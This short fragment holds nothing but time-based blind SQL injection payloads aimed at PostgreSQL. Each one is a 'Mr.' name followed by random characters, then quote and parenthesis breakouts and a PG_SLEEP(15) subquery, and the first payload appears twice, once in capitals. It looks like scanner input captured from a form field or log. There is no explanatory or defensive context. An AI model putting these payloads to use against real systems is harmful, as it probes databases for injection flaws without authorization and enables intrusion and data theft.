MR.ZIHRAKNW' OR 18=(SELECT 18 FROM PG_SLEEP(15))--  
  Mr.ZIHRAknw' OR 18=(SELECT 18 FROM PG_SLEEP(15))-- Mr.iXs6fbGw') OR 499=(SELECT 499 FROM PG_SLEEP(15))-- Mr.GlPxGbvE')) OR 276=(SELECT 276 FROM PG_SLEEP(15))--